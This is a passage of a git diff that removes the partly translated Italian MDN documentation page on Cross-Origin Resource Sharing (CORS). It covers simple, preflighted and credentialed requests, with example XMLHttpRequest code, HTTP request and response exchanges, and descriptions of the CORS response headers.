href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-side CORS settings</a></li> - <li><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS enabled image</a></li> - <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a></li> - <li><a href="https://www.test-cors.org">https://www.test-cors.org</a> – page to test CORS requests</li> -</ul> diff --git a/files/it/web/http/cors/index.html b/files/it/web/http/cors/index.html deleted file mode 100644 index dbf2293abc..0000000000 --- a/files/it/web/http/cors/index.html +++ /dev/null @@ -1,565 +0,0 @@ ---- -title: Cross-Origin Resource Sharing (CORS) -slug: Web/HTTP/CORS -tags: - - AJAX - - CORS - - Controllo accessi HTTP - - Cross-Origin Resource Sharing - - Fetch - - Fetch API - - HTTP - - Same-origin policy - - Security - - Sicurezza - - XMLHttpRequest -translation_of: Web/HTTP/CORS ---- -<p><span class="seoSummary">Il Cross-Origin Resource Sharing ({{Glossary("CORS")}}) è un meccanismo che usa header {{Glossary("HTTP")}} addizionali per indicare a un browser che un'applicazione Web in esecuzione su un'origine (dominio) dispone dell'autorizzazione per accedere alle risorse selezionate da un server di origine diversa.</span> Un'applicazione web invia una <strong>cross-origin HTTP request</strong> quando richiede una risorsa che ha un'origine (protocollo, dominio e porta) differente dalla propria.</p> - -<p>Esempio di cross-origin request: Il codice Javascript di frontend per un'applicazione web servita da <code>http://domain-a.com</code> utilizza {{domxref("XMLHttpRequest")}} per inviare una richiesta a <code>http://api.domain-b.com/data.json</code>.</p> - -<p>Per ragioni di sicurezza, i browser limitano le cross-origin HTTP requests che vengono generate all'interno degli scripts. Ad esempio, <code>XMLHttpRequest</code> e la <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> seguono la <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>. Ciò significa che un'applicazione web che utilizza queste API può solamente richiedere risorse HTTP dalla stessa origine di caricamento dell'applicazione, a meno che la risposta dall'altra origine includa i corretti header CORS.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/14295/CORS_principle.png" style="height: 305px; width: 440px;"></p> - -<p>Il meccanismo CORS supporta richieste e trasferimenti dati sicuri fra browsers e web servers. I browser moderni usano CORS in container API come <code>XMLHttpRequest</code> o <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> per aiutare a mitigare i rischi di richieste HTTP cross-origin.</p> - -<h2 id="Chi_dovrebbe_leggere_questo_articolo">Chi dovrebbe leggere questo articolo?</h2> - -<p>Tutti, davvero.</p> - -<p>Più specificamente, questo articolo è per amministratori web, sviluppatori server side e front end. I browser moderni gestiscono i componenti client della cross-origin sharing, inclusi gli headers e applicazione delle policy. Ma questo nuovo standard richiede che i server gestiscano nuovi headers di richiesta e risposta. Un altro articolo per sviluppator server side che discute la <a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">cross-origin sharing da una prospettiva server (con esempi di codice PHP )</a> è una lettura supplementare.</p> - -<h2 id="Quali_tipi_di_richieste_usano_CORS">Quali tipi di richieste usano CORS?</h2> - -<p>Questo <a class="external" href="https://fetch.spec.whatwg.org/#http-cors-protocol">cross-origin sharing standard</a> è usato per abilitare richieste HTTP cross-site per:</p> - -<ul> - <li>Invocazioni delle API {{domxref("XMLHttpRequest")}} o <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> in modalità cross-site, come illustrato sopra.</li> - <li>Web Fonts (per utilizzo cross-domain in <code>@font-face</code> all'interno di regole CSS), <a class="external" href="https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements">così che i server possano esporre fonts TrueType che possano essere caricati ed usati in modalità cross-site solo da siti web a cui è stata concessa l'autorizzazione per farlo.</a></li> - <li><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">Texture WebGL</a>.</li> - <li>Immagini/frame video disegnati su un canvas utilizzando {{domxref("CanvasRenderingContext2D.drawImage()", "drawImage()")}}.</li> - <li>Fogli di stile (per accesso <a href="/en-US/docs/Web/CSS/CSSOM_View">CSSOM</a>).</li> - <li>Script (per eccezioni non silenziate).</li> -</ul> - -<p>Questo articolo è una discussione generale sul Cross-Origin Resource Sharing e include una trattazione degli header HTTP necessari.</p> - -<h2 id="Panoramica_funzionale">Panoramica funzionale</h2> - -<p>Lo standard Cross-Origin Resource Sharing funziona aggiungendo nuovi <a href="/en-US/docs/Web/HTTP/Headers">header HTTP</a> che consentono ai server di descrivere l'insieme di origini che sono autorizzate a leggere quelle informazioni tramite un web browser. In aggiunta, per i metodi di richiesta HTTP che possono causare effetti collaterali sui dati del server (in particolare, per i metodi HTTP diversi da {{HTTPMethod("GET")}}, o per l'utilizzo di {{HTTPMethod("POST")}} con determinati <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME types</a>), la specifica prevede che il browser "anticipi" la richiesta (questa operazione è detta "preflight"), richiedendo al server i metodi supportati tramite una richiesta HTTP {{HTTPMethod("OPTIONS")}}, e poi, dopo una "approvazione" del server, invii la richiesta effettiva con il metodo HTTP effettivo. I server possono anche informare i client se delle "credenziali" (inclusi <a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a> e dati di autenticazione HTTP) debbano essere inviate insieme alle richieste.</p> - -<p>Gli insuccessi CORS generano degli errori, ma per ragioni di sicurezza, i dettagli riguardo a cosa sia andato male <em>non sono disponibili al codice JavaScript</em>. Tutto ciò che il codice può sapere è che si è verificato un errore. L'unico modo per determinare cosa sia andato male nello specifico è guardare la console del browser per i dettagli.</p> - -<p>Le sezioni successive discutono alcuni scenari, e provvedono un'analisi dettagliata degli header HTTP usati.</p> - -<h2 id="Esempi_di_scenari_di_controllo_accessi">Esempi di scenari di controllo accessi</h2> - -<p>Qui presentiamo tre scenari che illustrano come funziona la Cross-Origin Resource Sharing. Tutti questi esempi utilizzano l'oggetto {{domxref("XMLHttpRequest")}}, che può essere usato per creare chiamate cross-site in qualsiasi browser che le supporti.</p> - -<p>Gli spezzoni di codice JavaScript inclusi in queste sezioni (e istanze attive di codice server che gestiscono correttamente queste richieste cross-site) possono essere viste in azione su <a class="external" href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a>, e funzioneranno nei browser che supportano <code>XMLHttpRequest</code> cross-site.</p> - -<p>Una trattazione della Cross-Origin Resource Sharing da una prospettiva server (inclusi spezzoni di codice PHP) si possono trovare nell'articolo <a class="internal" href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-Side Access Control (CORS)</a>.</p> - -<h3 id="Richieste_semplici">Richieste semplici</h3> - -<p>Alcune richieste non scatenano una <a href="#Preflighted_requests">CORS preflight</a>. Queste sono chiamate “richieste semplici” in questo articolo, anche se la specifica {{SpecName('Fetch')}} (che definisce CORS) non utilizza quel termine. Una richiesta che non scatena una <a href="#Preflighted_requests">CORS preflight</a>—una cosiddetta “richiesta semplice”—è una richiesta che soddisfa tutte le seguenti condizioni:</p> - -<ul> - <li>Gli unici metodi permessi sono: - <ul> - <li>{{HTTPMethod("GET")}}</li> - <li>{{HTTPMethod("HEAD")}}</li> - <li>{{HTTPMethod("POST")}}</li> - </ul> - </li> - <li>A parte gli header impostati automaticamente dallo user agent (ad esempio, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, o <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">uno qualsiasi degli altri header i cui nomi sono definiti nella specifica Fetch come “forbidden header name”</a>), gli unici header che è consentito impostare manualmente sono <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">quelli che la specifica Fetch definisce come “CORS-safelisted request-header”</a>, che sono: - <ul> - <li>{{HTTPHeader("Accept")}}</li> - <li>{{HTTPHeader("Accept-Language")}}</li> - <li>{{HTTPHeader("Content-Language")}}</li> - <li>{{HTTPHeader("Content-Type")}} (tenendo presente i requisiti addizionali sotto)</li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li> - <li>{{HTTPHeader("Downlink")}}</li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li> - </ul> - </li> - <li>Gli unici valori consentiti per l'header {{HTTPHeader("Content-Type")}} sono: - <ul> - <li><code>application/x-www-form-urlencoded</code></li> - <li><code>multipart/form-data</code></li> - <li><code>text/plain</code></li> - </ul> - </li> - <li>Nessun event listener è configurato su alcun oggetto {{domxref("XMLHttpRequestUpload")}} usato nella richiesta; ad essi si accede tramite la proprietà {{domxref("XMLHttpRequest.upload")}} property.</li> - <li>Nessun oggetto {{domxref("ReadableStream")}} object è usato nella richiesta.</li> -</ul> - -<div class="note"><strong>Nota:</strong> Queste sono lo stesso tipo di richieste cross-site che il web content può già rilasciare, e nessuna informazione è rilasciata al richiedente a meno che il server mandi un header appropriato. Quindi, siti che impediscono la falsificazione di cross-site request non hanno nulla di nuovo da temere dall controllo di accesso HTTP.</div> - -<div class="note"><strong>Nota:</strong> WebKit Nightly e Safari Technology Preview pongono restrizioni addizionali sui valori ammessi negli headers {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, e {{HTTPHeader("Content-Language")}}. Se anche solo uno di questi headers hanno valori non-standard, per WebKit/Safari la richiesta non rispetta le condizioni di una "richiesta semplice." Quello che WebKit/Safari considera valori “non-standard” per questi headers non è documentato eccetto nei seguenti bug di Webkit: <a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>, <a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a>, e <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>. Nessun altro browser implementa queste restrizioni addizionali, perché queste restrizioni non fanno parte della specifica.</div> - -<p>Per esempio, supponiamo che una pagina web su dominio <code class="plain">http://foo.example</code> tenti di accedere a contenuto su dominio <code class="plain">http://bar.other</code>. In Javascript, verrebbe scritto un codice simile al seguente in foo.example:</p> - -<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest(); -var url = 'http://bar.other/resources/public-data/'; - -function callOtherDomain() { - if(invocation) { - invocation.open('GET', url, true); - invocation.onreadystatechange = handler; - invocation.send(); - } -} -</pre> - -<p>Tutto ciò porterà ad un semplice scambio di informazioni tra client e server, usando headers CORS per manipolare i privilegi:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/14293/simple_req.png" style="height: 224px; width: 521px;"></p> - -<p>Vediamo cosa il browser manderà al server in questo caso, e come risponderà il server:</p> - -<pre class="brush: shell;highlight:[10,16]">GET /resources/public-data/ HTTP/1.1 -Host: bar.other -User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -Referer: http://foo.example/examples/access-control/simpleXSInvocation.html -Origin: http://foo.example - - -HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 00:23:53 GMT -Server: Apache/2.0.61 -Access-Control-Allow-Origin: * -Keep-Alive: timeout=2, max=100 -Connection: Keep-Alive -Transfer-Encoding: chunked -Content-Type: application/xml - -[Dati XML] -</pre> - -<p>Le linee 1 - 10 sono gli header mandati. L'header più importante qui è {{HTTPHeader("Origin")}} alla linea 10, che mostra che l'invocazione origina dal dominio <code class="plain">http://foo.example</code>.</p> - -<p>Le linee 13 - 22 mostrano la risposta HTTP dal server al dominio <code class="plain">http://bar.other</code>. In risposta, il server manda un header {{HTTPHeader("Access-Control-Allow-Origin")}} mostrato nella linea 16. L'uso dell'header {{HTTPHeader("Origin")}} e {{HTTPHeader("Access-Control-Allow-Origin")}} dimostrano il protocollo di controllo accesso nella sua forma più semplice. In questo caso, il server risponde con <code>Access-Control-Allow-Origin: *</code> il che significa che la risorsa può essere acceduta da <strong>qualsiasi</strong> dominio. Se i proprietary della risorsa su <code class="plain">http://bar.other</code> vogliono restringere accesso alla risorsa alle sole richieste provenienti da <code class="plain">http://foo.example</code>, risponderebbero con:</p> - -<p><code class="plain">Access-Control-Allow-Origin: http://foo.example</code></p> - -<p>Nota che ora, nessun dominio a parte <code class="plain">http://foo.example</code> (identificato dall'header ORIGIN: nella richiesta, come nella linea 10) può accedere alla risorsa in maniera cross-site. L'header <code>Access-Control-Allow-Origin</code> deve contenere il valore che è stato mandato nell'header <code>Origin</code> della richiesta.</p> - -<h3 id="Richieste_in_preflight">Richieste in preflight</h3> - -<p>Al contrario delle "richieste semplici" discusse sopra, le richieste "in preflight" (anticipate) mandano prima una richiesta HTTP tramite il metodo {{HTTPMethod("OPTIONS")}} alla risorsa nell'altro dominio, per determinare se la richiesta vera e propria è sicura. Richieste cross-site vengono anticipate in questo modo perché potrebbero avere implicazioni per la sicurezza dei dati utenti.</p> - -<p>In particolare, una richiesta è anticipate se <strong>anche solo una delle seguenti condizioni</strong> è vera:</p> - -<ul> - <li><strong>Se</strong> la richiesta usa uno dei metodo seguenti: - - <ul> - <li>{{HTTPMethod("PUT")}}</li> - <li>{{HTTPMethod("DELETE")}}</li> - <li>{{HTTPMethod("CONNECT")}}</li> - <li>{{HTTPMethod("OPTIONS")}}</li> - <li>{{HTTPMethod("TRACE")}}</li> - <li>{{HTTPMethod("PATCH")}}</li> - </ul> - </li> - <li><strong>Oppure se</strong>, a parte gli header impostati automaticamente dall'user agent (ad esempio {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, o <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">un qualunque header con un nome definito nella specifica Fetch come "nome header vietato"</a>), la richiesta include header diversi da <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">quelli che la specifica Fetch definisce "CORS-safelisted request-header"</a>, ossia i seguenti: - <ul> - <li>{{HTTPHeader("Accept")}}</li> - <li>{{HTTPHeader("Accept-Language")}}</li> - <li>{{HTTPHeader("Content-Language")}}</li> - <li>{{HTTPHeader("Content-Type")}} (ma nota le restrizioni addizionali specificate sotto)</li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li> - <li>{{HTTPHeader("Downlink")}}</li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li> - </ul> - </li> - <li><strong>O se</strong> l'header {{HTTPHeader("Content-Type")}} ha un valore diverso dai seguenti: - <ul> - <li><code>application/x-www-form-urlencoded</code></li> - <li><code>multipart/form-data</code></li> - <li><code>text/plain</code></li> - </ul> - </li> - <li><strong>O se</strong> uno o più event listeners sono registrati su un oggetto {{domxref("XMLHttpRequestUpload")}} usato nella richiesta.</li> - <li><strong>O se</strong> un oggetto {{domxref("ReadableStream")}} è usato nella richiesta.</li> -</ul> - -<div class="note"><strong>Note:</strong> WebKit Nightly e Safari Technology Preview pongono ulteriori restrizioni sul valori ammessi negli header {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, e {{HTTPHeader("Content-Language")}}. Se anche solo uno di questi headers ha un valore non-standard, WebKit/Safari effettua la richiesta in preflight. Quello che WebKit/Safari considerano valori “non-standard” non è documentato eccetto nei seguenti bug di WebKit: <a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>, <a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a>, e <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>. Nessun altro browser implementa questa restrizioni aggiuntive, perché non sono parte della specifica.</div> - -<p>Il seguente è un esempio di una richiesta che verrà effettuata in preflight.</p> - -<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest(); -var url = 'http://bar.other/resources/post-here/'; -var body = '<?xml version="1.0"?><person><name>Arun</name></person>'; - -function callOtherDomain(){ - if(invocation) - { - invocation.open('POST', url, true); - invocation.setRequestHeader('X-PINGOTHER', 'pingpong'); - invocation.setRequestHeader('Content-Type', 'application/xml'); - invocation.onreadystatechange = handler; - invocation.send(body); - } -} - -...... -</pre> - -<p>Nell'esempio sopra, la linea 3 crea un corpo XML che viene mandato con una richiesta <code>POST</code> alla linea 8. Nella linea 9 viene specificato un header "non-standard" (<code>X-PINGOTHER: pingpong</code>). Questi headers non fanno parte del protocollo HTTP/1.1, ma sono utili per applicazioni web. La richiesta è eseguita in preflight perché usa un Content-Type di <code>application/xml</code> e la richiesta usa un header non-standard.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/14289/prelight.png"></p> - -<p>(Nota: come descritto sopra, la richiesta POST non include gli header Access-Control-Request-*; questi sono necessari solo per le richieste OPTIONS.)</p> - -<p>Diamo un'occhiata allo scambio complete tra client e server. Il primo scambio è la richiesta e risposta in preflight:</p> - -<pre class="brush: none;highlight:[1,10,11,17-20]">OPTIONS /resources/post-here/ HTTP/1.1 -Host: bar.other -User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -Origin: http://foo.example -Access-Control-Request-Method: POST -Access-Control-Request-Headers: X-PINGOTHER, Content-Type - - -HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 01:15:39 GMT -Server: Apache/2.0.61 (Unix) -Access-Control-Allow-Origin: http://foo.example -Access-Control-Allow-Methods: POST, GET -Access-Control-Allow-Headers: X-PINGOTHER, Content-Type -Access-Control-Max-Age: 86400 -Vary: Accept-Encoding, Origin -Content-Encoding: gzip -Content-Length: 0 -Keep-Alive: timeout=2, max=100 -Connection: Keep-Alive -Content-Type: text/plain -</pre> - -<p>Quando la richiesta in preflight è completa, la richiesta vera e propria viene mandata:</p> - -<pre class="brush: none;">POST /resources/post-here/ HTTP/1.1 -Host: bar.other -User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -X-PINGOTHER: pingpong -Content-Type: text/xml; charset=UTF-8 -Referer: http://foo.example/examples/preflightInvocation.html -Content-Length: 55 -Origin: http://foo.example -Pragma: no-cache -Cache-Control: no-cache - -<?xml version="1.0"?><person><name>Arun</name></person> - - -HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 01:15:40 GMT -Server: Apache/2.0.61 (Unix) -Access-Control-Allow-Origin: http://foo.example -Vary: Accept-Encoding, Origin -Content-Encoding: gzip -Content-Length: 235 -Keep-Alive: timeout=2, max=99 -Connection: Keep-Alive -Content-Type: text/plain - -[Payload compresso con GZIP] -</pre> - -<p>Le linee 1 - 12 sopra rappresentano le richieste in preflight con il metodo {{HTTPMethod("OPTIONS")}}. Il browser determina che deve mandare questo in base ai parametri della prima richiesta. OPTIONS è un metodo HTTP/1.1 usato per ricevere informazioni aggiuntive dal server ed è un metodo "safe" (non può cambiare la risorsa). Oltre alla richiesta OPTIONS vengono mandate altre due richieste (linee 10 e 11):</p> - -<pre class="brush: none">Access-Control-Request-Method: POST -Access-Control-Request-Headers: X-PINGOTHER, Content-Type -</pre> - -<p>L'header {{HTTPHeader("Access-Control-Request-Method")}} notifica il server che la richiesta vera e propria verrà mandata con un metodo <code>POST</code>. L'header {{HTTPHeader("Access-Control-Request-Headers")}} dice al server che verrà mandata con gli header personalizzati <code>X-PINGOTHER</code> e Content-Type. Ora il server può determinare se vuole accettare una richiesta in queste circostanze.</p> - -<p>Le linee 14-26 sono la risposta e indicano che il metodo richiesta (<code>POST</code>) e gli headers (<code>X-PINGOTHER</code>) sono accettabili. In particolare, vediamo le linee 17-20:</p> - -<pre class="brush: none">Access-Control-Allow-Origin: http://foo.example -Access-Control-Allow-Methods: POST, GET -Access-Control-Allow-Headers: X-PINGOTHER, Content-Type -Access-Control-Max-Age: 86400</pre> - -<p>Il server risponde con <code>Access-Control-Allow-Methods</code> e dice che <code>POST</code> e <code>GET</code> possono essere usati per accedere alla risorsa. Questo header è simile a {{HTTPHeader("Allow")}} ma è usato solo nel contesto del controllo d'accesso.</p> - -<p>The server also sends <code>Access-Control-Allow-Headers</code> with a value of "<code>X-PINGOTHER, Content-Type</code>", confirming that these are permitted headers to be used with the actual request. Like <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> is a comma separated list of acceptable headers.</p> - -<p>Finally, {{HTTPHeader("Access-Control-Max-Age")}} gives the value in seconds for how long the response to the preflight request can be cached for without sending another preflight request. In this case, 86400 seconds is 24 hours. Note that each browser has a <a href="/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age">maximum internal value</a> that takes precedence when the <code>Access-Control-Max-Age</code> is greater.</p> - -<h4 id="Preflighted_requests_and_redirects">Preflighted requests and redirects</h4> - -<p>Not all browsers currently support following redirects after a preflighted request. If a redirect occurs after a preflighted request, some browsers currently will report an error message such as the following.</p> - -<blockquote> -<p>The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight</p> -</blockquote> - -<blockquote> -<p>Request requires preflight, which is disallowed to follow cross-origin redirect</p> -</blockquote> - -<p>The CORS protocol originally required that behavior but <a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">was subsequently changed to no longer require it</a>. However, not all browsers have implemented the change, and so still exhibit the behavior that was originally required.</p> - -<p>So until all browsers catch up with the spec, you may be able to work around this limitation by doing one or both of the following:</p> - -<ul> - <li>change the server-side behavior to avoid the preflight and/or to avoid the redirect—if you have control over the server the request is being made to</li> - <li>change the request such that it is a <a href="#Simple_requests">simple request</a> that doesn’t cause a preflight</li> -</ul> - -<p>But if it’s not possible to make those changes, then another way that may be possible is to this:</p> - -<ol> - <li>Make a <a href="#Simple_requests">simple request</a> (using {{domxref("Response.url")}} for the Fetch API, or {{domxref("XMLHttpRequest.responseURL")}}) to determine what URL the real preflighted request would end up at.</li> - <li>Make another request (the “real” request) using the URL you obtained from <code>Response.url</code> or <code>XMLHttpRequest.responseURL</code> in the first step.</li> -</ol> - -<p>However, if the request is one that triggers a preflight due to the presence of the <code>Authorization</code> header in the request, you won’t be able to work around the limitation using the steps above. And you won’t be able to work around it at all unless you have control over the server the request is being made to.</p> - -<h3 id="Requests_with_credentials">Requests with credentials</h3> - -<p>The most interesting capability exposed by both {{domxref("XMLHttpRequest")}} or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> and CORS is the ability to make "credentialed" requests that are aware of <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> and HTTP Authentication information. By default, in cross-site <code>XMLHttpRequest"</code> or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> invocations, browsers will <strong>not</strong> send credentials. A specific flag has to be set on the <code>XMLHttpRequest"</code> object or the {{domxref("Request")}} constructor when it is invoked.</p> - -<p>In this example, content originally loaded from <code class="plain">http://foo.example</code> makes a simple GET request to a resource on <code class="plain">http://bar.other</code> which sets Cookies. Content on foo.example might contain JavaScript like this:</p> - -<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest(); -var url = 'http://bar.other/resources/credentialed-content/'; - -function callOtherDomain(){ - if(invocation) { - invocation.open('GET', url, true); - invocation.withCredentials = true; - invocation.onreadystatechange = handler; - invocation.send(); - } -}</pre> - -<p>Line 7 shows the flag on {{domxref("XMLHttpRequest")}} that has to be set in order to make the invocation with Cookies, namely the <code>withCredentials</code> boolean value. By default, the invocation is made without Cookies. Since this is a simple <code>GET</code> request, it is not preflighted, but the browser will <strong>reject</strong> any response that does not have the {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> header, and <strong>not</strong> make the response available to the invoking web content.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/14291/cred-req.png" style="height: 223px; width: 521px;"></p> - -<p>Here is a sample exchange between client and server:</p> - -<pre class="brush: none">GET /resources/access-control-with-credentials/ HTTP/1.1 -Host: bar.other -User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -Referer: http://foo.example/examples/credential.html -Origin: http://foo.example -Cookie: pageAccess=2 - - -HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 01:34:52 GMT -Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2 -X-Powered-By: PHP/5.2.6 -Access-Control-Allow-Origin: http://foo.example -Access-Control-Allow-Credentials: true -Cache-Control: no-cache -Pragma: no-cache -Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT -Vary: Accept-Encoding, Origin -Content-Encoding: gzip -Content-Length: 106 -Keep-Alive: timeout=2, max=100 -Connection: Keep-Alive -Content-Type: text/plain - - -[text/plain payload] -</pre> - -<p>Although line 11 contains the Cookie destined for the content on <code class="plain">http://bar.other</code>, if bar.other did not respond with an {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> (line 19) the response would be ignored and not made available to web content.</p> - -<h4 id="Credentialed_requests_and_wildcards">Credentialed requests and wildcards</h4> - -<p>When responding to a credentialed request, the server <strong>must</strong> specify an origin in the value of the <code>Access-Control-Allow-Origin</code> header, instead of specifying the "<code>*</code>" wildcard.</p> - -<p>Because the request headers in the above example include a <code>Cookie</code> header, the request would fail if the value of the <code>Access-Control-Allow-Origin</code> header were "*". But it does not fail: Because the value of the <code>Access-Control-Allow-Origin</code> header is "<code class="plain">http://foo.example</code>" (an actual origin) rather than the "<code>*</code>" wildcard, the credential-cognizant content is returned to the invoking web content.</p> - -<p>Note that the <code>Set-Cookie</code> response header in the example above also sets a further cookie. In case of failure, an exception—depending on the API used—is raised.</p> - -<h4 id="Third-party_cookies">Third-party cookies</h4> - -<p>Note that cookies set in CORS responses are subject to normal third-party cookie policies. In the example above, the page is loaded from <code>foo.example</code>, but the cookie on line 22 is sent by <code>bar.other</code>, and would thus not be saved if the user has configured their browser to reject all third-party cookies.</p> - -<h2 id="The_HTTP_response_headers">The HTTP response headers</h2> - -<p>This section lists the HTTP response headers that servers send back for access control requests as defined by the Cross-Origin Resource Sharing specification. The previous section gives an overview of these in action.</p> - -<h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3> - -<p>A returned resource may have one {{HTTPHeader("Access-Control-Allow-Origin")}} header, with the following syntax:</p> - -<pre class="brush: none">Access-Control-Allow-Origin: <origin> | * -</pre> - -<p><code>Access-Control-Allow-Origin</code> specifies either a single origin, which tells browsers to allow that origin to access the resource; or else — for requests <strong>without</strong> credentials — the "<code>*</code>" wildcard, to tell browsers to allow any origin to access the resource.</p> - -<p>For example, to allow code from the origin <code>http://mozilla.org</code> to access the resource, you can specify:</p> - -<pre class="brush: none">Access-Control-Allow-Origin: http://mozilla.org</pre> - -<p>If the server specifies a single origin rather than the "<code>*</code>" wildcard, then the server should also include <code>Origin</code> in the {{HTTPHeader("Vary")}} response header — to indicate to clients that server responses will differ based on the value of the {{HTTPHeader("Origin")}} request header.</p> - -<h3 id="Access-Control-Expose-Headers">Access-Control-Expose-Headers</h3> - -<p>The {{HTTPHeader("Access-Control-Expose-Headers")}} header lets a server whitelist headers that browsers are allowed to access. For example:</p> - -<pre class="brush: none">Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header -</pre> - -<p>This allows the <code>X-My-Custom-Header</code> and <code>X-Another-Custom-Header</code> headers to be exposed to the browser.</p> - -<h3 id="Access-Control-Max-Age">Access-Control-Max-Age</h3> - -<p>The {{HTTPHeader("Access-Control-Max-Age")}} header indicates how long the results of a preflight request can be cached. For an example of a preflight request, see the above examples.</p> - -<pre class="brush: none">Access-Control-Max-Age: <delta-seconds> -</pre> - -<p>The <code>delta-seconds</code> parameter indicates the number of seconds the results can be cached.</p> - -<h3 id="Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</h3> - -<p>The {{HTTPHeader("Access-Control-Allow-Credentials")}} header Indicates whether or not the response to the request can be exposed when the <code>credentials</code> flag is true. When used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. Note that simple <code>GET</code> requests are not preflighted, and so if a request is made for a resource with credentials, if this header is not returned with the resource, the response is ignored by the browser and not returned to web content.</p> - -<pre class="brush: none">Access-Control-Allow-Credentials: true -</pre> - -<p><a 